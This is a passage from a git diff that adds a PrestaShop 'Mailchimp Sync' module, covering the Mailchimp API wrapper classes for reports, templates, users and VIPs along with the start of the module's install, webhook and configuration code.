$_params); + } + + /** + * The urls tracked and their click counts for a given campaign. + * @param string $cid + * @return associative_array including: + * - total array structs for each url tracked for the full campaign + * - url string the url being tracked - urls are tracked individually, so duplicates can exist with vastly different stats + * - clicks int Number of times the specific link was clicked + * - clicks_percent double the percentage of total clicks "clicks" represents + * - unique int Number of unique people who clicked on the specific link + * - unique_percent double the percentage of unique clicks "unique" represents + * - tid int the tracking id used in campaign links - used primarily for reports/click-activity. also can be used to order urls by the order they appeared in the campaign to recreate our heat map. + * - a array if this was an absplit campaign, stat structs for the a group + * - url string the url being tracked - urls are tracked individually, so duplicates can exist with vastly different stats + * - clicks int Number of times the specific link was clicked + * - clicks_percent double the percentage of total clicks "clicks" represents + * - unique int Number of unique people who clicked on the specific link + * - unique_percent double the percentage of unique clicks "unique" represents + * - tid int the tracking id used in campaign links - used primarily for reports/click-activity. also can be used to order urls by the order they appeared in the campaign to recreate our heat map. + * - b array if this was an absplit campaign, stat structs for the b group + * - url string the url being tracked - urls are tracked individually, so duplicates can exist with vastly different stats + * - clicks int Number of times the specific link was clicked + * - clicks_percent double the percentage of total clicks "clicks" represents + * - unique int Number of unique people who clicked on the specific link + * - unique_percent double the percentage of unique clicks "unique" represents + * - tid int the tracking id used in campaign links - used primarily for reports/click-activity. also can be used to order urls by the order they appeared in the campaign to recreate our heat map. + */ + public function clicks($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/clicks', $_params); + } + + /** + * Retrieve the Ecommerce Orders tracked by ecomm/order-add() + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - since string optional pull only messages since this time - 24 hour format in GMT, eg "2013-12-30 20:30:00" + * @return associative_array the total matching orders and the specific orders for the requested page + * - total int the total matching orders + * - data array structs for the actual data for each order being returned + * - store_id string the store id generated by the plugin used to uniquely identify a store + * - store_name string the store name collected by the plugin - often the domain name + * - order_id string the internal order id the store tracked this order by + * - member associative_array the member record as returned by lists/member-info() that received this campaign and is associated with this order + * - order_total double the order total + * - tax_total double the total tax for the order (if collected) + * - ship_total double the shipping total for the order (if collected) + * - order_date string the date the order was tracked - from the store if possible, otherwise the GMT time we received it + * - lines array structs containing details of the order: + * - line_num int the line number assigned to this line + * - product_id int the product id assigned to this item + * - product_name string the product name + * - product_sku string the sku for the product + * - product_category_id int the id for the product category + * - product_category_name string the product category name + * - qty double optional the quantity of the item ordered - defaults to 1 + * - cost double optional the cost of a single item (ie, not the extended cost of the line) - defaults to 0 + */ + public function ecommOrders($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/ecomm-orders', $_params); + } + + /** + * Retrieve the eepurl stats from the web/Twitter mentions for this campaign + * @param string $cid + * @return associative_array containing tweets, retweets, clicks, and referrer related to using the campaign's eepurl + * - twitter associative_array various Twitter related stats + * - tweets int Total number of tweets seen + * - first_tweet string date and time of the first tweet seen + * - last_tweet string date and time of the last tweet seen + * - retweets int Total number of retweets seen + * - first_retweet string date and time of the first retweet seen + * - last_retweet string date and time of the last retweet seen + * - statuses array an structs for statuses recorded including: + * - status string the text of the tweet/update + * - screen_name string the screen name as recorded when first seen + * - status_id string the status id of the tweet (they are really unsigned 64 bit ints) + * - datetime string the date/time of the tweet + * - is_retweet bool whether or not this was a retweet + * - clicks associative_array stats related to click-throughs on the eepurl + * - clicks int Total number of clicks seen + * - first_click string date and time of the first click seen + * - last_click string date and time of the first click seen + * - locations array structs for geographic locations including: + * - country string the country name the click was tracked to + * - region string the region in the country the click was tracked to (if available) + * - referrers array structs for referrers, including + * - referrer string the referrer, truncated to 100 bytes + * - clicks int Total number of clicks seen from this referrer + * - first_click string date and time of the first click seen from this referrer + * - last_click string date and time of the first click seen from this referrer + */ + public function eepurl($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/eepurl', $_params); + } + + /** + * Given a campaign and email address, return the entire click and open history with timestamps, ordered by time. If you need to dump the full activity for a campaign +and/or get incremental results, you should use the campaignSubscriberActivity Export API method, +not this, especially for large campaigns. + * @param string $cid + * @param array $emails + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array of data and success/error counts + * - success_count int the number of subscribers successfully found on the list + * - error_count int the number of subscribers who were not found on the list + * - errors array array of error structs including: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - msg string the error message + * - data array an array of structs where each activity record has: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - member associative_array the member record as returned by lists/member-info() + * - activity array an array of structs containing the activity, including: + * - action string The action name - either open or click + * - timestamp string The date/time of the action (GMT) + * - url string For click actions, the url clicked, otherwise this is empty + * - ip string The IP address the activity came from + */ + public function memberActivity($cid, $emails) { + $_params = array("cid" => $cid, "emails" => $emails); + return $this->master->call('reports/member-activity', $_params); + } + + /** + * Retrieve the list of email addresses that did not open a given campaign + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * @return associative_array a total of all matching emails and the specific emails for this page + * - total int the total number of members who didn't open the campaign + * - data array structs for each campaign member matching as returned by lists/member-info() + */ + public function notOpened($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/not-opened', $_params); + } + + /** + * Retrieve the list of email addresses that opened a given campaign with how many times they opened + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - sort_field string optional the data to sort by - "opened" (order opens occurred, default) or "opens" (total number of opens). Invalid fields will fall back on the default. + * - sort_dir string optional the direct - ASC or DESC. defaults to ASC (case insensitive) + * @return associative_array containing the total records matched and the specific records for this page + * - total int the total number of records matched + * - data array structs for the actual opens data, including: + * - member associative_array the member record as returned by lists/member-info() + * - opens int Total number of times the campaign was opened by this email address + */ + public function opened($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/opened', $_params); + } + + /** + * Get the top 5 performing email domains for this campaign. Users wanting more than 5 should use campaign reports/member-activity() +or campaignEmailStatsAIMAll() and generate any additional stats they require. + * @param string $cid + * @return array domains structs for each email domains and their associated stats + * - domain string Domain name or special "Other" to roll-up stats past 5 domains + * - total_sent int Total Email across all domains - this will be the same in every row + * - emails int Number of emails sent to this domain + * - bounces int Number of bounces + * - opens int Number of opens + * - clicks int Number of clicks + * - unsubs int Number of unsubs + * - delivered int Number of deliveries + * - emails_pct int Percentage of emails that went to this domain (whole number) + * - bounces_pct int Percentage of bounces from this domain (whole number) + * - opens_pct int Percentage of opens from this domain (whole number) + * - clicks_pct int Percentage of clicks from this domain (whole number) + * - unsubs_pct int Percentage of unsubs from this domain (whole number) + */ + public function domainPerformance($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/domain-performance', $_params); + } + + /** + * Retrieve the countries/regions and number of opens tracked for each. Email address are not returned. + * @param string $cid + * @return array an array of country structs where opens occurred + * - code string The ISO3166 2 digit country code + * - name string A version of the country name, if we have it + * - opens int The total number of opens that occurred in the country + * - regions array structs of data for each sub-region in the country + * - code string An internal code for the region. When this is blank, it indicates we know the country, but not the region + * - name string The name of the region, if we have one. For blank "code" values, this will be "Rest of Country" + * - opens int The total number of opens that occurred in the country + */ + public function geoOpens($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/geo-opens', $_params); + } + + /** + * Retrieve the Google Analytics data we've collected for this campaign. Note, requires Google Analytics Add-on to be installed and configured. + * @param string $cid + * @return array of structs for analytics we've collected for the passed campaign. + * - visits int number of visits + * - pages int number of page views + * - new_visits int new visits recorded + * - bounces int vistors who "bounced" from your site + * - time_on_site double the total time visitors spent on your sites + * - goal_conversions int number of goals converted + * - goal_value double value of conversion in dollars + * - revenue double revenue generated by campaign + * - transactions int number of transactions tracked + * - ecomm_conversions int number Ecommerce transactions tracked + * - goals array structs containing goal names and number of conversions + * - name string the name of the goal + * - conversions int the number of conversions for the goal + */ + public function googleAnalytics($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/google-analytics', $_params); + } + + /** + * Get email addresses the campaign was sent to + * @param string $cid + * @param associative_array $opts + * - status string optional the status to pull - one of 'sent', 'hard' (bounce), or 'soft' (bounce). By default, all records are returned + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * @return associative_array a total of all matching emails and the specific emails for this page + * - total int the total number of members for the campaign and status + * - data array structs for each campaign member matching + * - member associative_array the member record as returned by lists/member-info() + * - status string the status of the send - one of 'sent', 'hard', 'soft' + * - absplit_group string if this was an absplit campaign, one of 'a','b', or 'winner' + * - tz_group string if this was an timewarp campaign the timezone GMT offset the member was included in + */ + public function sentTo($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/sent-to', $_params); + } + + /** + * Get the URL to a customized VIP Report for the specified campaign and optionally send an email to someone with links to it. Note subsequent calls will overwrite anything already set for the same campign (eg, the password) + * @param string $cid + * @param array $opts + * - to_email string optional - optional, comma delimited list of email addresses to share the report with - no value means an email will not be sent + * - theme_id int optional - either a global or a user-specific theme id. Currently this needs to be pulled out of either the Share Report or Cobranding web views by grabbing the "theme" attribute from the list presented. + * - css_url string optional - a link to an external CSS file to be included after our default CSS (http://vip-reports.net/css/vip.css) only if loaded via the "secure_url" - max 255 bytes + * @return associative_array details for the shared report, including: + * - title string The Title of the Campaign being shared + * - url string The URL to the shared report + * - secure_url string The URL to the shared report, including the password (good for loading in an IFRAME). For non-secure reports, this will not be returned + * - password string If secured, the password for the report, otherwise this field will not be returned + */ + public function share($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/share', $_params); + } + + /** + * Retrieve relevant aggregate campaign statistics (opens, bounces, clicks, etc.) + * @param string $cid + * @return associative_array the statistics for this campaign + * - syntax_errors int Number of email addresses in campaign that had syntactical errors. + * - hard_bounces int Number of email addresses in campaign that hard bounced. + * - soft_bounces int Number of email addresses in campaign that soft bounced. + * - unsubscribes int Number of email addresses in campaign that unsubscribed. + * - abuse_reports int Number of email addresses in campaign that reported campaign for abuse. + * - forwards int Number of times email was forwarded to a friend. + * - forwards_opens int Number of times a forwarded email was opened. + * - opens int Number of times the campaign was opened. + * - last_open string Date of the last time the email was opened. + * - unique_opens int Number of people who opened the campaign. + * - clicks int Number of times a link in the campaign was clicked. + * - unique_clicks int Number of unique recipient/click pairs for the campaign. + * - last_click string Date of the last time a link in the email was clicked. + * - users_who_clicked int Number of unique recipients who clicked on a link in the campaign. + * - emails_sent int Number of email addresses campaign was sent to. + * - unique_likes int total number of unique likes (Facebook) + * - recipient_likes int total number of recipients who liked (Facebook) the campaign + * - facebook_likes int total number of likes (Facebook) that came from Facebook + * - industry associative_array Various rates/percentages for the account's selected industry - empty otherwise. These will vary across calls, do not use them for anything important. + * - type string the selected industry + * - open_rate float industry open rate + * - click_rate float industry click rate + * - bounce_rate float industry bounce rate + * - unopen_rate float industry unopen rate + * - unsub_rate float industry unsub rate + * - abuse_rate float industry abuse rate + * - absplit associative_array If this was an absplit campaign, stats for the A and B groups will be returned - otherwise this is empty + * - bounces_a int bounces for the A group + * - bounces_b int bounces for the B group + * - forwards_a int forwards for the A group + * - forwards_b int forwards for the B group + * - abuse_reports_a int abuse reports for the A group + * - abuse_reports_b int abuse reports for the B group + * - unsubs_a int unsubs for the A group + * - unsubs_b int unsubs for the B group + * - recipients_click_a int clicks for the A group + * - recipients_click_b int clicks for the B group + * - forwards_opens_a int opened forwards for the A group + * - forwards_opens_b int opened forwards for the B group + * - opens_a int total opens for the A group + * - opens_b int total opens for the B group + * - last_open_a string date/time of last open for the A group + * - last_open_b string date/time of last open for the BG group + * - unique_opens_a int unique opens for the A group + * - unique_opens_b int unique opens for the B group + * - timewarp array If this campaign was a Timewarp campaign, an array of structs from each timezone stats exist for. Each will contain: + * - opens int opens for this timezone + * - last_open string the date/time of the last open for this timezone + * - unique_opens int the unique opens for this timezone + * - clicks int the total clicks for this timezone + * - last_click string the date/time of the last click for this timezone + * - unique_clicks int the unique clicks for this timezone + * - bounces int the total bounces for this timezone + * - total int the total number of members sent to in this timezone + * - sent int the total number of members delivered to in this timezone + * - timeseries array structs for the first 24 hours of the campaign, per-hour stats: + * - timestamp string The timestemp in Y-m-d H:00:00 format + * - emails_sent int the total emails sent during the hour + * - unique_opens int unique opens seen during the hour + * - recipients_click int unique clicks seen during the hour + */ + public function summary($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/summary', $_params); + } + + /** + * Get all unsubscribed email addresses for a given campaign + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * @return associative_array a total of all unsubscribed emails and the specific members for this page + * - total int the total number of unsubscribes for the campaign + * - data array structs for the email addresses that unsubscribed + * - member string the member that unsubscribed as returned by lists/member-info() + * - reason string the reason collected for the unsubscribe. If populated, one of 'NORMAL','NOSIGNUP','INAPPROPRIATE','SPAM','OTHER' + * - reason_text string if the reason is OTHER, the text entered. + */ + public function unsubscribes($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/unsubscribes', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Templates.php b/modules/mailchimpsync/libraries/Mailchimp/Templates.php new file mode 100755 index 0000000..fa189eb --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Templates.php @@ -0,0 +1,114 @@ +master = $master; + } + + /** + * Create a new user template, NOT campaign content. These templates can then be applied while creating campaigns. + * @param string $name + * @param string $html + * @param int $folder_id + * @return associative_array with a single element: + * - template_id int the new template id, otherwise an error is thrown. + */ + public function add($name, $html, $folder_id=null) { + $_params = array("name" => $name, "html" => $html, "folder_id" => $folder_id); + return $this->master->call('templates/add', $_params); + } + + /** + * Delete (deactivate) a user template + * @param int $template_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function del($template_id) { + $_params = array("template_id" => $template_id); + return $this->master->call('templates/del', $_params); + } + + /** + * Pull details for a specific template to help support editing + * @param int $template_id + * @param string $type + * @return associative_array info to be used when editing + * - default_content associative_array the default content broken down into the named editable sections for the template - dependant upon template, so not documented + * - sections associative_array the valid editable section names - dependant upon template, so not documented + * - source string the full source of the template as if you exported it via our template editor + * - preview string similar to the source, but the rendered version of the source from our popup preview + */ + public function info($template_id, $type='user') { + $_params = array("template_id" => $template_id, "type" => $type); + return $this->master->call('templates/info', $_params); + } + + /** + * Retrieve various templates available in the system, allowing some thing similar to our template gallery to be created. + * @param associative_array $types + * - user boolean Custom templates for this user account. Defaults to true. + * - gallery boolean Templates from our Gallery. Note that some templates that require extra configuration are withheld. (eg, the Etsy template). Defaults to false. + * - base boolean Our "start from scratch" extremely basic templates. Defaults to false. As of the 9.0 update, "base" templates are no longer available via the API because they are now all saved Drag & Drop templates. + * @param associative_array $filters + * - category string optional for Gallery templates only, limit to a specific template category + * - folder_id string user templates, limit to this folder_id + * - include_inactive boolean user templates are not deleted, only set inactive. defaults to false. + * - inactive_only boolean only include inactive user templates. defaults to false. + * - include_drag_and_drop boolean Include templates created and saved using the new Drag & Drop editor. Note: You will not be able to edit or create new drag & drop templates via this API. This is useful only for creating a new campaign based on a drag & drop template. + * @return associative_array for each type + * - user array matching user templates, if requested. + * - id int Id of the template + * - name string Name of the template + * - layout string General description of the layout of the template + * - category string The category for the template, if there is one. + * - preview_image string If we've generated it, the url of the preview image for the template. We do out best to keep these up to date, but Preview image urls are not guaranteed to be available + * - date_created string The date/time the template was created + * - active boolean whether or not the template is active and available for use. + * - edit_source boolean Whether or not you are able to edit the source of a template. + * - folder_id boolean if it's in one, the folder id + * - gallery array matching gallery templates, if requested. + * - id int Id of the template + * - name string Name of the template + * - layout string General description of the layout of the template + * - category string The category for the template, if there is one. + * - preview_image string If we've generated it, the url of the preview image for the template. We do out best to keep these up to date, but Preview image urls are not guaranteed to be available + * - date_created string The date/time the template was created + * - active boolean whether or not the template is active and available for use. + * - edit_source boolean Whether or not you are able to edit the source of a template. + * - base array matching base templates, if requested. (Will always be empty as of 9.0) + */ + public function getList($types=array(), $filters=array()) { + $_params = array("types" => $types, "filters" => $filters); + return $this->master->call('templates/list', $_params); + } + + /** + * Undelete (reactivate) a user template + * @param int $template_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function undel($template_id) { + $_params = array("template_id" => $template_id); + return $this->master->call('templates/undel', $_params); + } + + /** + * Replace the content of a user template, NOT campaign content. + * @param int $template_id + * @param associative_array $values + * - name string the name for the template - names must be unique and a max of 50 bytes + * - html string a string specifying the entire template to be created. This is NOT campaign content. They are intended to utilize our template language. + * - folder_id int the folder to put this template in - 0 or a blank values will remove it from a folder. + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function update($template_id, $values) { + $_params = array("template_id" => $template_id, "values" => $values); + return $this->master->call('templates/update', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Users.php b/modules/mailchimpsync/libraries/Mailchimp/Users.php new file mode 100755 index 0000000..4933d66 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Users.php @@ -0,0 +1,105 @@ +master = $master; + } + + /** + * Invite a user to your account + * @param string $email + * @param string $role + * @param string $msg + * @return associative_array the method completion status + * - status string The status (success) of the call if it completed. Otherwise an error is thrown. + */ + public function invite($email, $role='viewer', $msg='') { + $_params = array("email" => $email, "role" => $role, "msg" => $msg); + return $this->master->call('users/invite', $_params); + } + + /** + * Resend an invite a user to your account. Note, if the same address has been invited multiple times, this will simpy re-send the most recent invite + * @param string $email + * @return associative_array the method completion status + * - status string The status (success) of the call if it completed. Otherwise an error is thrown. + */ + public function inviteResend($email) { + $_params = array("email" => $email); + return $this->master->call('users/invite-resend', $_params); + } + + /** + * Revoke an invitation sent to a user to your account. Note, if the same address has been invited multiple times, this will simpy revoke the most recent invite + * @param string $email + * @return associative_array the method completion status + * - status string The status (success) of the call if it completed. Otherwise an error is thrown. + */ + public function inviteRevoke($email) { + $_params = array("email" => $email); + return $this->master->call('users/invite-revoke', $_params); + } + + /** + * Retrieve the list of pending users invitations have been sent for. + * @return array structs for each invitation, including: + * - email string the email address the invitation was sent to + * - role string the role that will be assigned if they accept + * - sent_at string the time the invitation was sent. this will change if it's resent. + * - expiration string the expiration time for the invitation. this will change if it's resent. + * - msg string the welcome message included with the invitation + */ + public function invites() { + $_params = array(); + return $this->master->call('users/invites', $_params); + } + + /** + * Revoke access for a specified login + * @param string $username + * @return associative_array the method completion status + * - status string The status (success) of the call if it completed. Otherwise an error is thrown. + */ + public function loginRevoke($username) { + $_params = array("username" => $username); + return $this->master->call('users/login-revoke', $_params); + } + + /** + * Retrieve the list of active logins. + * @return array structs for each user, including: + * - id int the login id for this login + * - username string the username used to log in + * - name string a display name for the account - empty first/last names will return the username + * - email string the email tied to the account used for passwords resets and the ilk + * - role string the role assigned to the account + * - avatar string if available, the url for the login's avatar + * - global_user_id int the globally unique user id for the user account connected to + * - dc_unique_id string the datacenter unique id for the user account connected to, like helper/account-details + */ + public function logins() { + $_params = array(); + return $this->master->call('users/logins', $_params); + } + + /** + * Retrieve the profile for the login owning the provided API Key + * @return associative_array the current user's details, including: + * - id int the login id for this login + * - username string the username used to log in + * - name string a display name for the account - empty first/last names will return the username + * - email string the email tied to the account used for passwords resets and the ilk + * - role string the role assigned to the account + * - avatar string if available, the url for the login's avatar + * - global_user_id int the globally unique user id for the user account connected to + * - dc_unique_id string the datacenter unique id for the user account connected to, like helper/account-details + * - account_name string The name of the account to which the API key belongs + */ + public function profile() { + $_params = array(); + return $this->master->call('users/profile', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Vip.php b/modules/mailchimpsync/libraries/Mailchimp/Vip.php new file mode 100755 index 0000000..e152549 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Vip.php @@ -0,0 +1,111 @@ +master = $master; + } + + /** + * Retrieve all Activity (opens/clicks) for VIPs over the past 10 days + * @return array structs for each activity recorded. + * - action string The action taken - either "open" or "click" + * - timestamp string The datetime the action occurred in GMT + * - url string IF the action is a click, the url that was clicked + * - unique_id string The campaign_id of the List the Member appears on + * - title string The campaign title + * - list_name string The name of the List the Member appears on + * - list_id string The id of the List the Member appears on + * - email string The email address of the member + * - fname string IF a FNAME merge field exists on the list, that value for the member + * - lname string IF a LNAME merge field exists on the list, that value for the member + * - member_rating int the rating of the subscriber. This will be 1 - 5 as described here + * - member_since string the datetime the member was added and/or confirmed + * - geo associative_array the geographic information if we have it. including: + * - latitude string the latitude + * - longitude string the longitude + * - gmtoff string GMT offset + * - dstoff string GMT offset during daylight savings (if DST not observered, will be same as gmtoff + * - timezone string the timezone we've place them in + * - cc string 2 digit ISO-3166 country code + * - region string generally state, province, or similar + */ + public function activity() { + $_params = array(); + return $this->master->call('vip/activity', $_params); + } + + /** + * Add VIPs (previously called Golden Monkeys) + * @param string $id + * @param array $emails + * - email string an email address - for new subscribers obviously this should be used + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array of data and success/error counts + * - success_count int the number of successful adds + * - error_count int the number of unsuccessful adds + * - errors array array of error structs including: + * - email associative_array whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code string the error code + * - error string the error message + * - data array array of structs for each member added + * - email associative_array whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + */ + public function add($id, $emails) { + $_params = array("id" => $id, "emails" => $emails); + return $this->master->call('vip/add', $_params); + } + + /** + * Remove VIPs - this does not affect list membership + * @param string $id + * @param array $emails + * - email string an email address - for new subscribers obviously this should be used + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array of data and success/error counts + * - success_count int the number of successful deletions + * - error_count int the number of unsuccessful deletions + * - errors array array of error structs including: + * - email associative_array whatever was passed in the email parameter + * - email string the email address + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code string the error code + * - msg string the error message + * - data array array of structs for each member deleted + * - email associative_array whatever was passed in the email parameter + * - email string the email address + * - euid string the email unique id + * - leid string the list member's truly unique id + */ + public function del($id, $emails) { + $_params = array("id" => $id, "emails" => $emails); + return $this->master->call('vip/del', $_params); + } + + /** + * Retrieve all Golden Monkey(s) for an account + * @return array structs for each Golden Monkey, including: + * - list_id string The id of the List the Member appears on + * - list_name string The name of the List the Member appears on + * - email string The email address of the member + * - fname string IF a FNAME merge field exists on the list, that value for the member + * - lname string IF a LNAME merge field exists on the list, that value for the member + * - member_rating int the rating of the subscriber. This will be 1 - 5 as described here + * - member_since string the datetime the member was added and/or confirmed + */ + public function members() { + $_params = array(); + return $this->master->call('vip/members', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/index.php b/modules/mailchimpsync/libraries/Mailchimp/index.php new file mode 100755 index 0000000..a0ff790 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/index.php @@ -0,0 +1,10 @@ +name = 'mailchimpsync'; + $this->version = '2.0.3'; + $this->author = 'Sébastien Jousse'; + $this->tab = 'advertising_marketing'; + $this->module_key = '56bf075ed4d7cbc0ffe5cecdf05bf480'; + $this->ps_versions_compliancy = array('min' => '1.5', 'max' => '1.6'); + $this->need_instance = 0; + $this->bootstrap = true; + + parent::__construct(); + + $this->displayName = $this->l('Mailchimp Sync'); + $this->description = $this->l('Synchronize automatically your list of subscribers in Prestashop with your Mailchimp account, and the reverse too.'); + $this->confirmUninstall = $this->l('Are you sure you want to uninstall this module ? All your settings will be lost.'); + + if (!$this->isCurl()) + $this->_errors[] = $this->l('This module needs the cUrl extension.'); + + if (Configuration::get('MAILCHIMP_LIST_ID') == 0) + $this->warning = $this->l('You have not yet set your Mailchimp default list.'); + if (Configuration::get('MAILCHIMP_API_KEY') == '') + $this->warning = $this->l('You have not yet set your Mailchimp API key.'); + } + + public function install() + { + if (!parent::install() + || !$this->isCurl() + || !Configuration::updateValue('MAILCHIMP_WEBHOOK_TOKEN', Tools::strtoupper(Tools::passwdGen(16))) + || !Configuration::updateValue('MAILCHIMP_API_KEY', '') + + || !Configuration::updateValue('MAILCHIMP_LIST_ID', 0) + || !Configuration::updateValue('MAILCHIMP_GROUPING_ID', 0) + || !Configuration::updateValue('MAILCHIMP_GROUP_NAME', '') + + || !Configuration::updateValue('MAILCHIMP_DOUBLE_OPTIN', true) + || !Configuration::updateValue('MAILCHIMP_SEND_WELCOME', true) + + || !Configuration::updateValue('MAILCHIMP_DELETE_MEMBER', false) + || !Configuration::updateValue('MAILCHIMP_SEND_GOODBYE', true) + || !Configuration::updateValue('MAILCHIMP_SEND_NOTIFY', true) + + || !$this->registerHook('actionCustomerAccountAdd') + || !$this->registerHook('actionObjectCustomerUpdateAfter') + || !$this->registerHook('displayHeader')) + return false; + + return true; + } + + public function uninstall() + { + if (!Configuration::deleteByName('MAILCHIMP_WEBHOOK_TOKEN') + || !Configuration::deleteByName('MAILCHIMP_API_KEY') + + || !Configuration::deleteByName('MAILCHIMP_LIST_ID') + || !Configuration::deleteByName('MAILCHIMP_GROUPING_ID') + || !Configuration::deleteByName('MAILCHIMP_GROUP_NAME') + + || !Configuration::deleteByName('MAILCHIMP_DOUBLE_OPTIN') + || !Configuration::deleteByName('MAILCHIMP_SEND_WELCOME') + + || !Configuration::deleteByName('MAILCHIMP_DELETE_MEMBER') + || !Configuration::deleteByName('MAILCHIMP_SEND_GOODBYE') + || !Configuration::deleteByName('MAILCHIMP_SEND_NOTIFY') + + || !$this->deleteWebhook() + + || !$this->unregisterHook('displayHeader') + || !$this->unregisterHook('actionObjectCustomerUpdateAfter') + || !$this->unregisterHook('actionCustomerAccountAdd') + + || !parent::uninstall()) + return false; + return true; + } + + private function addWebhook() + { + $list_id = Configuration::get('MAILCHIMP_LIST_ID'); + if ($this->isConfigured() && $list_id !== '0') + { + $token = Configuration::get('MAILCHIMP_WEBHOOK_TOKEN'); + $webhook_url = Context::getContext()->link->getModuleLink($this->name, 'webhook', array('token' => $token)); + $mailchimp = $this->getClient(); + try { + $response = $mailchimp->lists->webhookAdd($list_id, $webhook_url, array('subscribe' => true, 'unsubscribe' => true)); + } + catch (Mailchimp_Error $exception) { + return false; + } + return true; + } + return false; + } + + private function deleteWebhook() + { + $list_id = Configuration::get('MAILCHIMP_LIST_ID'); + if ($this->isConfigured() && $list_id !== '0') + { + $token = Configuration::get('MAILCHIMP_WEBHOOK_TOKEN'); + $webhook_url = Context::getContext()->link->getModuleLink($this->name, 'webhook', array('token' => $token)); + $mailchimp = $this->getClient(); + try { + $response = $mailchimp->lists->webhookDel($list_id, $webhook_url); + } + catch (Mailchimp_Error $exception) { + return false; + } + return true; + } + return true; + } + + private function testAPI($api_key) + { + try { + $mailchimp = $this->getClient($api_key); + $response = $mailchimp->helper->ping(); + return ($response['msg'] == "Everything's Chimpy!"); + } + catch (Mailchimp_Error $exception) { + return false; + } + } + + private function isConfigured() + { + return Configuration::get('MAILCHIMP_API_KEY') != null; + } + + public function getContent() + { + $output = null; + + // API key + if (Tools::isSubmit('submitKey')) + { + $api_key = Tools::getValue('MAILCHIMP_API_KEY'); + if (!$api_key + || empty($api_key) + || !$this->testAPI($api_key)) + $output .= $this->displayError($this->l('Invalid API key')); + else + { + Configuration::updateValue('MAILCHIMP_API_KEY', $api_key); + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + } + + // List + if (Tools::isSubmit('submitList')) + { + $list_id = Tools::getValue('MAILCHIMP_LIST_ID', '0'); + if (empty($list_id) || $list_id === '0') + $output .= $this->displayError($this->l('Invalid list')); + else + { + // delete existing webhook + if (Configuration::get('MAILCHIMP_LIST_ID')) + $this->deleteWebhook(); + Configuration::updateValue('MAILCHIMP_LIST_ID', $list_id); + Configuration::updateValue('MAILCHIMP_GROUPING_ID', '0'); + Configuration::updateValue('MAILCHIMP_GROUP_NAME', ''); + $this->addWebhook(); + $output .= $this->displayConfirmation($this->l('Settings updated')); + } + } + + // Group title + if (Tools::isSubmit('submitGroupTitle')) + { + $grouping_id = Tools::getValue('grouping_id'); + if ($grouping_id !== false) + Configuration::updateValue('MAILCHIMP_GROUPING_ID', $grouping_id); + else + $output .= $this->displayError($this->l('Invalid group title')); + + $group_name = Tools::getValue('group_name'); + if ($group_name !== false) + Configuration::updateValue('MAILCHIMP_GROUP_NAME', $group_name); + else + $output .= $this->displayError($this->l('Invalid group name')); + } + + // Settings + if (Tools::isSubmit('submitSettings')) + { + $double_optin = Tools::getValue('MAILCHIMP_DOUBLE_OPTIN'); + $send_welcome = Tools::getValue('MAILCHIMP_SEND_WELCOME'); + $delete_member = Tools::getValue('MAILCHIMP_DELETE_MEMBER'); + $send_goodbye = Tools::getValue('MAILCHIMP_SEND_GOODBYE'); + $send_notify = 